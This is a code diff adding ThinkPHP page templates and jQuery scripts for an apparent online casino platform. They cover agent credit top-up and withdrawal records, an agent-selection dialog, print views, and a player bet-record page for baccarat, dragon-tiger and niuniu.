<td>{$vo.nickname_for}</td>
|
||||
{if condition="$vo.mode == 1"}
|
||||
<td style="color:#ff5050;">{$vo.mode_msg}</td>
|
||||
<td style="color:#ff5050;">{$vo.amount}</td>
|
||||
{else}
|
||||
<td style="color:#009688;">{$vo.mode_msg}</td>
|
||||
<td style="color:#009688;">{$vo.amount}</td>
|
||||
{/if}
|
||||
<td>{$vo.controller_username}</td>
|
||||
<td>{$vo.old_money}</td>
|
||||
<td>{$vo.new_money}</td>
|
||||
<td>{$vo.create_time}</td>
|
||||
<td>{$vo.agent_or_admin_msg}</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</table>
|
||||
{$scoresList->render()}
|
||||
</div>
|
||||
<script>
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav span').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == 1) location.href = '/agent/scores';
|
||||
if(id == 2) location.href = '/agent/scores_add';
|
||||
});
|
||||
// 时间选择器
|
||||
layui.use('laydate', function () {
|
||||
var laydate = layui.laydate;
|
||||
|
||||
// 开始时间
|
||||
laydate.render({
|
||||
elem: '#start',
|
||||
type: 'datetime'
|
||||
});
|
||||
|
||||
// 结束时间
|
||||
laydate.render({
|
||||
elem: '#end',
|
||||
type: 'datetime'
|
||||
});
|
||||
});
|
||||
|
||||
/**
|
||||
* 封装 AJAX 函数
|
||||
* @param url 目标地址
|
||||
* @param query 参数
|
||||
* @returns {string}
|
||||
*/
|
||||
function ajax(url, query) {
|
||||
var returnData = "";
|
||||
$.ajax({
|
||||
url: url,
|
||||
data: query,
|
||||
type: 'POST',
|
||||
dataType: 'JSON',
|
||||
async: false,
|
||||
success: function (data) {
|
||||
returnData = data;
|
||||
}
|
||||
});
|
||||
return returnData;
|
||||
}
|
||||
|
||||
// 导出excel
|
||||
$('#export').click(function(){
|
||||
var startDate = $('#start').val();
|
||||
var endDate = $('#end').val();
|
||||
var agent_level = $('#agent_level').val();
|
||||
var mode = $('#mode').val();
|
||||
var username = $('#username').val();
|
||||
layer.confirm('确定导出 excel 吗?',function(index){
|
||||
location.href = "/agent/scores?export=1&{$query}";
|
||||
layer.close(index);
|
||||
});
|
||||
})
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,291 @@
|
||||
{include file="public/header"}
|
||||
<style>
|
||||
textarea, input[type="text"], input[type="password"],
|
||||
.uneditable-input{border: 1px solid #ccc;background-color: #fff; }
|
||||
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
.control-group{overflow: hidden; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px dotted #dddddd; }
|
||||
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
|
||||
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; }
|
||||
.controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
|
||||
.controls select{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
|
||||
.controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; }
|
||||
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
|
||||
.submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
|
||||
|
||||
#search-agent{ padding-left:16px;padding-top:5px; background:#fff; border-radius:5px;position:absolute; left:315px;top:0; margin-left:-3px;display:block;height:21px; color:black; border:1px solid #ececec; width: 25px;cursor:pointer; }
|
||||
#search-agent:hover{border-color:#ccc;}
|
||||
#search-agent i{margin-top:30px;}
|
||||
#search-agent:hover > i{ color:#148cf1; }
|
||||
#search-agent i{ margin-left:-4px; }
|
||||
#L_username{ background:#ececec; cursor:pointer; }
|
||||
#agent_list{ width:300px; height:400px; border:1px solid #a2a2a2; position:absolute; left:550px; top:44px; z-index:99; background:#fff; display:none; }
|
||||
#agent_list #header-box{ width:100%; height:40px; border-bottom:1px solid #ccc; position:relative; cursor:move; }
|
||||
#agent_list #header-box a{ position:absolute; top:3px; right:20px; font-size:22px; }
|
||||
#agent_list #header-box div{ height:30px; margin:10px 25px; line-height:30px; font-size:18px; font-weight:bold; color:#333; }
|
||||
#agent_list .main-box{ height:50px; margin-top:10px; background:#fff; }
|
||||
#agent_list .main-box label{ font-size:14px; margin-left:25px; margin-right:10px; }
|
||||
#agent_list .main-box input{ border-radius:5px; height:30px; width:110px; border:1px solid #ccc; padding-left:5px; }
|
||||
#agent_list .main-box input:focus{ border:1px solid #148cf1; }
|
||||
#agent_list .main-box button{ background:#fff; border:1px solid #ccc; width:60px; height:30px; border-radius:5px; cursor:pointer; margin-left:10px; }
|
||||
#agent_list .main-box button:hover{ border:1px solid #8a8a8a; }
|
||||
#agent_list .main-box .z-tree{ margin-top:20px; height:240px; }
|
||||
#agent_list .main-box .z-tree ul{ margin-left: 50px; }
|
||||
#agent_list .main-box .z-tree ul li{ list-style: none; position:relative; height:20px; padding-left:2px; cursor:default; }
|
||||
#agent_list .main-box .z-tree ul li:before{ position:absolute; top:-12px; left:-12px; content: ''; width: 10px; height: 20px; border-style: none none dotted dotted; border-width: 1px; border-color: #9e9e9e; }
|
||||
#agent_list .main-box .z-tree ul li.first:before{ border-style: none none dotted none; }
|
||||
#agent_list .main-box .z-tree ul li span.agent_name_box.on{ background:#eaeaea; border:1px solid #ccc; }
|
||||
#agent_list .button-box{ height:40px; background:#eee; position:relative; top:249px; line-height:40px; }
|
||||
#agent_list .button-box span{ position:absolute; right:10px; }
|
||||
#agent_list .button-box span button{ width:50px; height:25px; margin-left:2px; border-radius:5px; }
|
||||
#agent_list .button-box span button:hover{ background:#edefd1; }
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one" data-id="1">代理上下分记录列表</a>
|
||||
<a href="javascript:;" class="list-two actived" data-id="2">代理上下分记录添加</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
|
||||
<div class="info_from form-horizontal">
|
||||
<div class="control-group">
|
||||
<label class="control-label">账号:</label>
|
||||
<div class="controls" style="position:relative;">
|
||||
<input id="L_username" name="L_username" type="text" readonly maxlength="50" minlength="3" class="required">
|
||||
<span id="search-agent"><i class="layui-icon"></i></span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">操作类型:</label>
|
||||
<div class="controls" style="padding-top: 5px;">
|
||||
<input class="scores" name="scores" value="1" type="radio" class="required" style="width:20px;height: 14px;font-size: 14px;">上分
|
||||
<input class="scores" name="scores" value="2" type="radio" class="required" style="width:20px;height: 14px;font-size: 14px;">下分
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">操作金额:</label>
|
||||
<div class="controls">
|
||||
<input id="L_amount" name="L_amount" type="text" value maxlength="50" minlength="3" class="required">
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">操作用户:</label>
|
||||
<div class="controls">
|
||||
<input id="L_controller" name="L_controller" type="text" readonly value="{$user_info.admin}" maxlength="50" minlength="3" class="required">
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">余额:</label>
|
||||
<div class="controls">
|
||||
<input id="L_money" name="L_money" type="text" readonly value maxlength="50" minlength="3" class="required">
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">备注:</label>
|
||||
<div class="controls">
|
||||
<textarea name="desc" id="L_remarks" placeholder="请输入内容" class="layui-textarea"></textarea>
|
||||
</div>
|
||||
</div>
|
||||
<div class="bottom-buttom">
|
||||
<label class="control-label"></label>
|
||||
<div class="controls">
|
||||
<div class='submit'>保存</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div id="agent_list">
|
||||
<div id="header-box">
|
||||
<div>选择总代理</div>
|
||||
<a class="cancel" href="javascript:;">X</a>
|
||||
</div>
|
||||
<div class="main-box">
|
||||
<div class="search-box">
|
||||
<label class="key-word">关键字 :</label>
|
||||
<input type="text" id="agent_name">
|
||||
<button id="search_key_word">搜索</button>
|
||||
</div>
|
||||
<div class="z-tree" id="z-tree">
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<div class="button-box">
|
||||
<span>
|
||||
<button class="ensure">确定</button>
|
||||
<button class="cancel">取消</button>
|
||||
</span>
|
||||
</div>
|
||||
<input type="hidden" id="short-username" value="">
|
||||
</div>
|
||||
<script>
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav .change_box a').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == "1") location.href = '/agent/scores';
|
||||
if(id == "2") location.href = '/agent/scores_add';
|
||||
});
|
||||
|
||||
// 鼠标按下控件跟随移动
|
||||
function mouseMoveBox(pressId,boxId){
|
||||
var _move = false;//移动标记
|
||||
var _x,_y;//鼠标离控件左上角的相对位置
|
||||
$("#"+pressId).mousedown(function(e){
|
||||
// 按下鼠标计算与控件的相对位置
|
||||
_move = true;
|
||||
_x = e.pageX-parseInt($("#"+boxId).css("left"));
|
||||
_y = e.pageY-parseInt($("#"+boxId).css("top"));
|
||||
});
|
||||
$(document).mousemove(function(e){
|
||||
if(_move){
|
||||
//移动时根据鼠标位置计算控件左上角的绝对位置
|
||||
var x=e.pageX-_x;
|
||||
var y=e.pageY-_y;
|
||||
$("#"+boxId).css({top:y,left:x});//控件新位置
|
||||
}
|
||||
}).mouseup(function(){
|
||||
//松开鼠标后停止移动
|
||||
_move = false;
|
||||
});
|
||||
}
|
||||
// 代理列表跟随鼠标移动
|
||||
mouseMoveBox('header-box','agent_list');
|
||||
|
||||
|
||||
// 点击搜索所有的代理列表
|
||||
$('#search-agent').click(function(){
|
||||
var result = ajax('/agent/getAgent');
|
||||
$('#z-tree').empty().append(result);
|
||||
$('#agent_list').show();
|
||||
});
|
||||
$('#L_username').click(function(){
|
||||
var result = ajax('/agent/getAgent');
|
||||
$('#z-tree').empty().append(result);
|
||||
$('#agent_list').show();
|
||||
});
|
||||
|
||||
// 关键字搜索所有的代理列表
|
||||
$('#search_key_word').click(function(){
|
||||
var key_word = $('#agent_name').val();
|
||||
if(key_word){
|
||||
var query = new Object();
|
||||
query.username = key_word;
|
||||
var result = ajax('/agent/getAgent',query);
|
||||
$('#z-tree').empty().append(result);
|
||||
$('#agent_list').show();
|
||||
}
|
||||
});
|
||||
|
||||
// 选择代理名字
|
||||
$('#agent_list').on('click','.tree-li',function(){
|
||||
var username = $(this).find('span').eq(1).html();
|
||||
// 调整样式
|
||||
$('.agent_name_box').removeClass('on');
|
||||
$(this).find('.agent_name_box').addClass('on');
|
||||
// 动态数据
|
||||
$('#short-username').val(username);
|
||||
});
|
||||
// 双击触发选择代理
|
||||
$('#agent_list').on('dblclick','.tree-li',function(){
|
||||
$('.ensure').trigger('click');
|
||||
});
|
||||
|
||||
// 确定
|
||||
$('.ensure').click(function(){
|
||||
var username = $('#short-username').val();
|
||||
$('#L_username').val(username);
|
||||
$('#agent_list').hide();
|
||||
// 获取代理余额信息
|
||||
var username = $('#L_username').val();
|
||||
if(username){
|
||||
var result = ajax('/agent/getAgentMoney',{username:username});
|
||||
// 显示余额限制
|
||||
$('#L_money').val(result);
|
||||
}
|
||||
});
|
||||
|
||||
// 取消
|
||||
$('.cancel').click(function(){
|
||||
$('#agent_list').hide();
|
||||
});
|
||||
|
||||
// 选择上分还是下分
|
||||
$('.scores').click(function(){
|
||||
var id = $(this).val();
|
||||
if(id == 1) $('#L_remarks').html('总台上分 !');
|
||||
if(id == 2) $('#L_remarks').html('总台下分 !');
|
||||
})
|
||||
|
||||
//监听提交
|
||||
$('.submit').click(function (data) {
|
||||
// 获取和拼装添加代理的数据
|
||||
var query = new Object();
|
||||
query.username = $('#L_username').val();
|
||||
query.amount = $('#L_amount').val();
|
||||
query.mode = $('.scores:checked').val();
|
||||
query.controller = $('#L_controller').val();
|
||||
query.remarks = $('#L_remarks').val();
|
||||
var money = $('#L_money').val();
|
||||
|
||||
// 验证数据
|
||||
if(!query.username){
|
||||
layer.alert("请选择账号!");
|
||||
return false;
|
||||
}
|
||||
if(!query.mode){
|
||||
layer.alert("请选择操作类型!");
|
||||
return false;
|
||||
}
|
||||
if(!query.amount){
|
||||
layer.alert("请输入操作金额!");
|
||||
return false;
|
||||
}
|
||||
if(parseFloat(query.amount) <= 0){
|
||||
layer.alert("操作金额必须大于0!");
|
||||
return false;
|
||||
}
|
||||
if(query.mode == 2 && parseFloat(query.amount) > parseFloat(money)){
|
||||
layer.alert("操作金额不能大于余额!");
|
||||
return false;
|
||||
}
|
||||
// 发送数据到后台添加会员
|
||||
var result = ajax('/agent/do_scores_add',query);
|
||||
if(result.code == 1){
|
||||
layer.alert(result.msg, {icon: 6}, function () {
|
||||
location.href = "/agent/scores";
|
||||
});
|
||||
}else{
|
||||
layer.alert(result.msg,{icon:2});
|
||||
}
|
||||
return false;
|
||||
});
|
||||
|
||||
// AJAX函数封装
|
||||
function ajax(url,query){
|
||||
var returnData = 0;
|
||||
$.ajax({
|
||||
url:url,
|
||||
data:query,
|
||||
type:'POST',
|
||||
dataType:'JSON',
|
||||
async:false,
|
||||
success:function(data){
|
||||
returnData = data;
|
||||
}
|
||||
});
|
||||
return returnData;
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,87 @@
|
||||
{include file="public/header"}
|
||||
<style>
|
||||
.x-nav{overflow: inherit; }
|
||||
.x-nav .refresh{margin-right: 20px; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
.change_box .scores_add_show{border-right:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative;border-left: 1px solid #e5e5e5;}
|
||||
.change_box .scores_add_show{color: #3daae9;}
|
||||
.change_box .scores_add_show:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.layui-input-block{ width:500px; }
|
||||
.control-group{overflow: hidden; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px dotted #dddddd; }
|
||||
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
|
||||
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px;padding-top: 5px; }
|
||||
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
|
||||
.pass_back{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav">
|
||||
<span class="change_box">
|
||||
<a href="/agent/scores" class="scores_list">代理上下分记录列表</a>
|
||||
<a href="javascript:;" class="scores_add_show">代理上下分记录查看</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small" style="line-height:1.6em;margin-top:3px;float:right" href="javascript:location.replace(location.href);" title="刷新"><i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<form class="layui-form form-horizontal">
|
||||
<div class="control-group">
|
||||
<label class="control-label">账号:</label>
|
||||
<div class="controls" style="position:relative;">
|
||||
{$recharge.username_for}
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">操作类型:</label>
|
||||
{if condition="$recharge.mode == 1"}
|
||||
<div class="controls" style="position:relative;color:#ff5050;">
|
||||
{$recharge.mode_msg}
|
||||
</div>
|
||||
{else}
|
||||
<div class="controls" style="position:relative;color:#009688;">
|
||||
{$recharge.mode_msg}
|
||||
</div>
|
||||
{/if}
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">操作金额:</label>
|
||||
{if condition="$recharge.mode == 1"}
|
||||
<div class="controls" style="position:relative;color:#ff5050;">
|
||||
{$recharge.amount}
|
||||
</div>
|
||||
{else}
|
||||
<div class="controls" style="position:relative;color:#009688;">
|
||||
{$recharge.amount}
|
||||
</div>
|
||||
{/if}
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">操作用户:</label>
|
||||
<div class="controls" style="position:relative;">
|
||||
{$recharge.admin_user_name}
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">余额:</label>
|
||||
<div class="controls" style="position:relative;">
|
||||
{$recharge.new_money}
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">备注:</label>
|
||||
<div class="controls" style="position:relative;">
|
||||
{$recharge.remake}
|
||||
</div>
|
||||
</div>
|
||||
<div class="bottom-buttom">
|
||||
<label class="control-label"></label>
|
||||
<div class="controls">
|
||||
<a href="/agent/scores">
|
||||
<div class='pass_back'>返回</div>
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
<!-- 隐藏参数 -->
|
||||
<input type="hidden" id="scores-id" value="{$recharge.id}">
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,11 @@
|
||||
<ul class="tree">
|
||||
{foreach name="$agent_list" item="vo" key="k"}
|
||||
<li class="<?php if($k == 0) echo 'first'; ?> tree-li" data-id="{$vo.id}">
|
||||
<span class="agent_name_box">
|
||||
<i class="iconfont" style="font-size:13px;"></i>
|
||||
<span>{$vo.username}</span>
|
||||
</span>
|
||||
|
||||
</li>
|
||||
{/foreach}
|
||||
</ul>
|
||||
@@ -0,0 +1,43 @@
|
||||
{include file="public/header"}
|
||||
<body>
|
||||
<div class="x-body">
|
||||
<div class="layui-btn no-print" onclick="jQuery('html').print()">打印</div>
|
||||
<table class="layui-table">
|
||||
<div style="text-align: center;font-size: 18px;font-weight:bold;">代理上下分列表</div>
|
||||
<thead>
|
||||
<tr>
|
||||
<th style="text-align: center;">账号</th>
|
||||
<th style="text-align: center;">联系人</th>
|
||||
<th style="text-align: center;">代理类型</th>
|
||||
<th style="text-align: center;">操作类型</th>
|
||||
<th style="text-align: center;">操作金额</th>
|
||||
<th style="text-align: center;">操作人</th>
|
||||
<th style="text-align: center;">余额</th>
|
||||
<th style="text-align: center;">创建日期</th>
|
||||
<th style="text-align: center;">备注</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="scoresList" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.username_for}</td>
|
||||
<td>{$vo.nickname_for}</td>
|
||||
<td>{$vo.user_agent_level_msg}</td>
|
||||
{if condition="$vo.mode == 1"}
|
||||
<td>{$vo.mode_msg}</td>
|
||||
<td>{$vo.amount}</td>
|
||||
{else}
|
||||
<td>{$vo.mode_msg}</td>
|
||||
<td>{$vo.amount}</td>
|
||||
{/if}
|
||||
<td>{$vo.admin_user_name}</td>
|
||||
<td>{$vo.new_money}</td>
|
||||
<td>{$vo.create_time}</td>
|
||||
<td>{$vo.remake}</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</div>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,277 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width,initial-scale=1.0">
|
||||
<meta name="full-screen" content="yes">
|
||||
<meta name="x5-fullscreen" content="true">
|
||||
<meta name="browsermode" content="application">
|
||||
<meta name="x5-page-mode" content="app">
|
||||
<meta name="msapplication-tap-highlight" content="no">
|
||||
<meta name="x5-orientation" content="landscape">
|
||||
<meta name="screen-orientation" content="landscape">
|
||||
<title>下注记录</title>
|
||||
<link rel="stylesheet" type="text/css" href="/static/horizontal/css/common.css">
|
||||
|
||||
<style>
|
||||
body{moz-user-select: -moz-none; -moz-user-select: none; -o-user-select:none; -khtml-user-select:none; -webkit-user-select:none; -ms-user-select:none; user-select:none; }
|
||||
.records{width:100%;}
|
||||
.records li{display:block; overflow: hidden;}
|
||||
.records .dataFinish{font-size:12px;text-align:center;color:#ccc;padding-top:5px;padding-bottom:45px;}
|
||||
.record .content ul .zj span{color:#e3e657;}
|
||||
.record .content ul span{box-sizing: border-box}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body class="record">
|
||||
<section class="main">
|
||||
<!--<div class="head">-->
|
||||
<!--<a href="/user/index?display=2" class="back"> </a>-->
|
||||
<!--<div class="title">下注记录</div>-->
|
||||
<!--</div>-->
|
||||
|
||||
<div class="opt_query">
|
||||
<div id="fsub" class="">
|
||||
<span class="opt_date">开始日期
|
||||
<input name="startDate" type="text" id="startDate" value="{$get.startDate}" readonly />
|
||||
</span>
|
||||
<span class="opt_date">结束日期
|
||||
<input name="endDate" type="text" id="endDate" value="{$get.endDate}" readonly/>
|
||||
</span>
|
||||
<input class="opt_type searchDate" type="button" data-id = "1" value="昨天" />
|
||||
<input class="opt_type searchDate" type="button" data-id = "2" value="今天" />
|
||||
<input class="opt_type searchDate" type="button" data-id = "3" value="上月" />
|
||||
<input class="opt_type searchDate" type="button" data-id = "4" value="本月" />
|
||||
<select name="game_id" id="game_id">
|
||||
<option value="1" <?php if(isset($get['game_id']) && $get['game_id'] == 1) echo 'selected="selected"'; ?>>百家乐</option>
|
||||
<option value="2" <?php if(isset($get['game_id']) && $get['game_id'] == 2) echo 'selected="selected"'; ?>>龙虎</option>
|
||||
<option value="4" <?php if(isset($get['game_id']) && $get['game_id'] == 4) echo 'selected="selected"'; ?>>牛牛</option>
|
||||
</select>
|
||||
<input class="querys" type="submit" id="search" value="查询">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="content">
|
||||
<div class="con">
|
||||
<ul>
|
||||
<li class="header">
|
||||
<span class="sj">时间</span>
|
||||
<span class="jh">局号</span>
|
||||
<span class="bh">赌台编号</span>
|
||||
<span class="px">结果</span>
|
||||
<span class="tzlx">投注类型</span>
|
||||
<span class="tzje">投注金额</span>
|
||||
<span class="yxtz">预扣金额</span>
|
||||
<span class="pc">派彩</span>
|
||||
</li>
|
||||
<li class="records">
|
||||
<ul>
|
||||
{foreach name="$bet" item="vo"}
|
||||
<li>
|
||||
<span class="sj">{$vo.create_time}</span>
|
||||
<span class="jh">{$vo.game_nume}</span>
|
||||
<span class="bh">{$vo.table_name}</span>
|
||||
<span class="px">{$vo.card_result}</span>
|
||||
<span class="tzlx">{$vo.bet_type}</span>
|
||||
<span class="tzje">{$vo.bet_amount}</span>
|
||||
<span class="yxtz">{$vo.bet_amount_all}</span>
|
||||
<span class="pc">{$vo.win}</span>
|
||||
</li>
|
||||
{/foreach}
|
||||
</ul>
|
||||
<div class="dataFinish">数据加载完毕</div>
|
||||
</li>
|
||||
<li class="zj">
|
||||
<span class="sj"></span>
|
||||
<span class="jh"></span>
|
||||
<span class="bh"></span>
|
||||
<span class="px"></span>
|
||||
<span class="tzlx">总计</span>
|
||||
<span class="tzje" id="betAmount">{$betAmount}</span>
|
||||
<span class="yxtz" id="allAmount">{$allAmount}</span>
|
||||
<span class="pc" id="allWinTotal">{$allWinTotal}</span>
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<input type="hidden" id="user_id" value="{$user_info.id}">
|
||||
</section>
|
||||
<script type="text/javascript" src="/static/horizontal/js/jquery-2.1.0.min.js"></script>
|
||||
<script type="text/javascript" src="/static/horizontal/js/common.js"></script>
|
||||
<script src="/static/horizontal/js/laydate/laydate.js"></script>
|
||||
<script>
|
||||
// 选择时间
|
||||
laydate.render({
|
||||
elem: '#startDate',
|
||||
});
|
||||
laydate.render({
|
||||
elem: '#endDate',
|
||||
});
|
||||
|
||||
// 快捷时间查询
|
||||
$('.searchDate').click(function(){
|
||||
// 快捷时间重组
|
||||
var id = $(this).attr('data-id');
|
||||
var result = getNeedTime(id);
|
||||
$('#startDate').val(result.startDate);
|
||||
$('#endDate').val(result.endDate);
|
||||
// 快捷查询
|
||||
$('#search').trigger('click');
|
||||
});
|
||||
|
||||
// 查询数据
|
||||
$('#search').click(function(){
|
||||
// 获取查询条件
|
||||
var startDate = $('#startDate').val();
|
||||
var endDate = $('#endDate').val();
|
||||
var game_id = $('#game_id').val();
|
||||
var user_id = $('#user_id').val();
|
||||
// 发送数据给后台
|
||||
$.ajax({
|
||||
url:'/betinfo/recordAjax',
|
||||
data:{startDate:startDate,endDate:endDate,game_id:game_id,user_id:user_id},
|
||||
type:'POST',
|
||||
dataType:'JSON',
|
||||
success:function(data){
|
||||
if(data.code == 1){
|
||||
// 重新赋值
|
||||
var bet = data.bet;
|
||||
var betAmount = data.betAmount;
|
||||
var allAmount = data.allAmount;
|
||||
var allWinTotal = data.allWinTotal;
|
||||
// 组装数据
|
||||
var str = '';
|
||||
for(var i=0; i<bet.length; i++){
|
||||
str += '<li>';
|
||||
str += '<span class="sj">'+bet[i]["create_time"]+'</span>';
|
||||
str += '<span class="jh">'+bet[i]["game_nume"]+'</span>';
|
||||
str += '<span class="bh">'+bet[i]["table_name"]+'</span>';
|
||||
str += '<span class="px">'+bet[i]["card_result"]+'</span>';
|
||||
str += '<span class="tzlx">'+bet[i]["bet_type"]+'</span>';
|
||||
str += '<span class="tzje">'+bet[i]["bet_amount"]+'</span>';
|
||||
str += '<span class="yxtz">'+bet[i]["bet_amount_all"]+'</span>';
|
||||
str += '<span class="pc">'+bet[i]["win"]+'</span>';
|
||||
str += '</li>';
|
||||
}
|
||||
// 显示数据
|
||||
$('.records').find('ul').empty().append(str);
|
||||
$('#betAmount').html(betAmount);
|
||||
$('#allAmount').html(allAmount);
|
||||
$('#allWinTotal').html(allWinTotal);
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
// 自定义时间函数
|
||||
function getNeedTime(type,format){
|
||||
var now = new Date();
|
||||
var year = now.getFullYear();
|
||||
var query = new Object();
|
||||
var startYear;
|
||||
var endYear;
|
||||
var startMonth;
|
||||
var endMonth;
|
||||
var startDay;
|
||||
var endDay;
|
||||
var startDate;
|
||||
var endDate;
|
||||
|
||||
switch(parseInt(type)){
|
||||
// 昨天
|
||||
case 1:
|
||||
startYear = year;
|
||||
endYear = year;
|
||||
startMonth = plusZero(now.getMonth() + 1);
|
||||
endMonth = plusZero(now.getMonth() + 1);
|
||||
startDay = plusZero(now.getDate() - 1);
|
||||
endDay = plusZero(now.getDate() - 1);
|
||||
break;
|
||||
// 今天
|
||||
case 2:
|
||||
startYear = year;
|
||||
endYear = year;
|
||||
startMonth = plusZero(now.getMonth() + 1);
|
||||
endMonth = plusZero(now.getMonth() + 1);
|
||||
startDay = plusZero(now.getDate());
|
||||
endDay = plusZero(now.getDate());
|
||||
break;
|
||||
// 上月
|
||||
case 3:
|
||||
if(now.getMonth() + 1 == 1){
|
||||
startYear = year - 1;
|
||||
endYear = year - 1;
|
||||
startMonth = 12;
|
||||
endMonth = 12;
|
||||
}else{
|
||||
startYear = year;
|
||||
endYear = year;
|
||||
startMonth = plusZero(now.getMonth());
|
||||
endMonth = plusZero(now.getMonth());
|
||||
}
|
||||
startDay = '01';
|
||||
endDay = plusZero(new Date(year,endMonth,0).getDate());
|
||||
break;
|
||||
// 本月
|
||||
case 4:
|
||||
startYear = year;
|
||||
endYear = year;
|
||||
startMonth = plusZero(now.getMonth() + 1);
|
||||
endMonth = plusZero(now.getMonth() + 1);
|
||||
startDay = '01';
|
||||
endDay = plusZero(new Date().getDate());
|
||||
break;
|
||||
// 全部
|
||||
case 5:
|
||||
startYear = '2018';
|
||||
endYear = year;
|
||||
startMonth = '01';
|
||||
endMonth = plusZero(now.getMonth() + 1);
|
||||
startDay = '01';
|
||||
endDay = plusZero(new Date().getDate());
|
||||
break;
|
||||
}
|
||||
if(format == 1){
|
||||
startDate = startYear + '-' + startMonth + '-' + startDay + ' 00:00:00';
|
||||
endDate = endYear + '-' + endMonth + '-' + endDay + ' 23:59:59';
|
||||
}else{
|
||||
startDate = startYear + '-' + startMonth + '-' + startDay;
|
||||
endDate = endYear + '-' + endMonth + '-' + endDay;
|
||||
}
|
||||
|
||||
query.startDate = startDate;
|
||||
query.endDate = endDate;
|
||||
return query;
|
||||
}
|
||||
|
||||
// 月和日 前加0;
|
||||
function plusZero(str){
|
||||
if(str != undefined){
|
||||
if(str >= 1 && str <= 9){
|
||||
str = "0" + str.toString();
|
||||
}
|
||||
}
|
||||
return str;
|
||||
}
|
||||
</script>
|
||||
<style type="text/css">
|
||||
.page-landscape {width: 100%; height: 100%; background: #333; position: fixed; left: 0; right: 0; top: 0; bottom: 0; z-index: 9999999; display: none; text-align: center; }
|
||||
.page-landscape-box {position: relative; margin-left: auto; margin-right: auto; top: 50%; transform: translateY(-50%); -webkit-transform: translateY(-50%); }
|
||||
